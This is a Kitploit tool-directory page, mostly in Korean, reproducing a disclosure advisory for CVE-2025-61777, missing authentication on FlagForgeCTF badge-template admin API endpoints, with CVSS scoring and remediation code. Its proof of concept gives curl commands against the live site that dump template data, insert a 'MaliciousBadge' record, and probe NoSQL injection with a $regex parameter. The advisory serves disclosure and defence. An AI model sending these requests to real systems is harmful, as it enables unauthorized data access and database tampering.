Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/0x0w1z/cve-2025-61777
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingAPI Security
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE on FlagForgeCTF on versions v2.0.0 to v2.3.1. Upgraded to version 2.3.2 to fix the issue.

저장소 보기
210개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-61777

1. FlagforgeCTF 배지 템플릿 무단 수정 CVE-2025-61777

요약

Flagforge 애플리케이션(https://flagforge.xyz)은 관리자 API 엔드포인트, 특히 /api/admin/badge-templates(GET) 및 /api/admin/badge-templates/create(POST)에서 심각한 취약점을 노출합니다. 두 엔드포인트 모두 인증 및 권한 부여 제어가 없어 인증되지 않은 사용자가 민감한 배지 템플릿 데이터를 검색하고 MongoDB 데이터베이스에 임의의 템플릿을 생성할 수 있습니다. 이로 인해 무단 데이터 노출, 데이터베이스 오염 또는 배지 시스템 남용(예: 악성 또는 스팸 템플릿 생성)이 발생할 수 있습니다.

설명

영향을 받는 엔드포인트

  1. GET /api/admin/badge-templates:
    • MongoDB badgeTemplates 컬렉션에 저장된 모든 배지 템플릿의 JSON 배열을 반환합니다.
    • 노출되는 필드에는 _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, __v가 포함됩니다.
    • 인증 헤더, API 키 또는 세션 검사가 필요하지 않아 엔드포인트가 공개적으로 접근 가능합니다.
    • 샘플 응답(cURL 사용):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • 사용자 제어 필드(name, description, icon, color, isActive, createdBy)로 새 배지 템플릿을 생성할 수 있습니다.
    • name, description, icon의 존재 여부에 대한 최소한의 검증만 수행하며, 중복된 name이 없는지 확인합니다.
    • 인증 또는 권한 부여 검사가 없어 누구나 데이터베이스에 데이터를 삽입할 수 있습니다.
    • 샘플 코드(제공된 소스에서):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

취약점

  • CWE-200: 무단 행위자에 대한 민감 정보 노출(GET 엔드포인트): 사용자 식별자(예: Lagzen Thakuri, [email protected]) 및 메타데이터를 노출하여 정찰 또는 피싱에 악용될 수 있습니다.
  • CWE-306: 중요 기능에 대한 인증 누락(두 엔드포인트 모두): 관리자 경로에 접근 제어가 없습니다.
  • CWE-284: 부적절한 접근 제어(두 엔드포인트 모두): 무단 데이터 검색 및 수정을 허용합니다.
  • 잠재적 NoSQL 인젝션: POST 엔드포인트는 필드를 명시적으로 구조 분해하지만, GET 엔드포인트가 쿼리 매개변수(예: ?name[$ne]=test)를 지원하는 경우 취약할 수 있습니다.
  • 로그 오염 위험: POST 엔드포인트는 사용자 제어 name 및 createdBy를 기록하므로 로그 스팸 또는 인젝션에 악용될 수 있습니다.

CVSS v3.1 점수

  • 기본 점수: 9.1(치명적)
  • 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • 공격 벡터(AV): 네트워크(공개적으로 접근 가능한 엔드포인트).
    • 공격 복잡성(AC): 낮음(특별한 조건 불필요).
    • 필요 권한(PR): 없음(인증 불필요).
    • 사용자 상호작용(UI): 없음(직접 HTTP 요청).
    • 범위(S): 변경 없음(애플리케이션 자체에 영향).
    • 기밀성(C): 높음(사용자 데이터 노출).
    • 무결성(I): 높음(임의 데이터 생성 허용).
    • 가용성(A): 낮음(대량 템플릿 생성으로 인한 잠재적 DoS).

영향을 받는 시스템

  • 애플리케이션: Flagforge(https://flagforge.xyz)
  • 구성 요소:
    • Next.js API 경로: /api/admin/badge-templates(GET) 및 /api/admin/badge-templates/create(POST).
    • MongoDB 데이터베이스: badgeTemplates 컬렉션.
  • 호스팅: Vercel(서버리스, server: Vercel 헤더에서 추론).
  • 버전: 알 수 없음(NextRequest/NextResponse 구문 기반으로 Next.js 13+로 추정).
  • 종속성: MongoDB 드라이버(사용자 정의 @/utlis/db 연결 유틸리티 사용), Next.js.

영향

  • 기밀성: 사용자 식별자(createdBy) 및 메타데이터(createdAt, updatedAt) 노출로 사회공학 또는 표적 공격에 악용될 수 있습니다.
  • 무결성: 무단 배지 템플릿 생성으로 애플리케이션에 스팸, 피싱 또는 악성 콘텐츠 표시가 발생할 수 있습니다.
  • 가용성: POST 엔드포인트에 템플릿 생성 요청을 대량 전송하여 데이터베이스 리소스를 소모하는 서비스 거부(DoS) 가능성.
  • 악용 가능성: 높음. 엔드포인트가 인증 장벽 없이 간단한 HTTP 요청(예: cURL, Postman)으로 공개적으로 접근 가능하기 때문입니다.

개념 증명

  1. 민감 데이터 검색(GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • createdBy(예: [email protected])와 같은 민감한 필드를 포함한 모든 배지 템플릿의 JSON 목록을 반환합니다.
  2. 무단 템플릿 생성(POST) 및 템플릿 제거(DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • badgeTemplates 컬렉션에 새 템플릿을 생성합니다.
    • 배지 템플릿을 제거합니다.
    • GET 요청을 다시 실행하여 새 템플릿이 나타나는지 확인합니다.
  3. 잠재적 NoSQL 인젝션(GET, 쿼리 매개변수가 지원되는 경우):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • 엔드포인트가 MongoDB 연산자를 처리하는지 테스트하여 필터를 우회하거나 추가 데이터를 노출할 수 있는지 확인합니다.

권장 사항

즉시 수정

  1. 인증 구현:
    • 두 엔드포인트 모두에 사용자 신원을 확인하는 미들웨어 추가(예: JWT, NextAuth.js 또는 API 키).
      root@kitploit:~
      // POST 엔드포인트용 미들웨어 예시
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // verifyToken 구현
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... 기존 코드 ...
      }
      
  2. GET 엔드포인트 제한:
    • GET 엔드포인트를 인증된 관리자로 제한하거나 최소 데이터만 반환(예: createdBy 제외).
    • 쿼리 매개변수가 지원되는 경우 NoSQL 인젝션을 방지하기 위해 입력을 검증합니다.

참고 자료

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • CVSS v3.1 Calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
도구 다운로드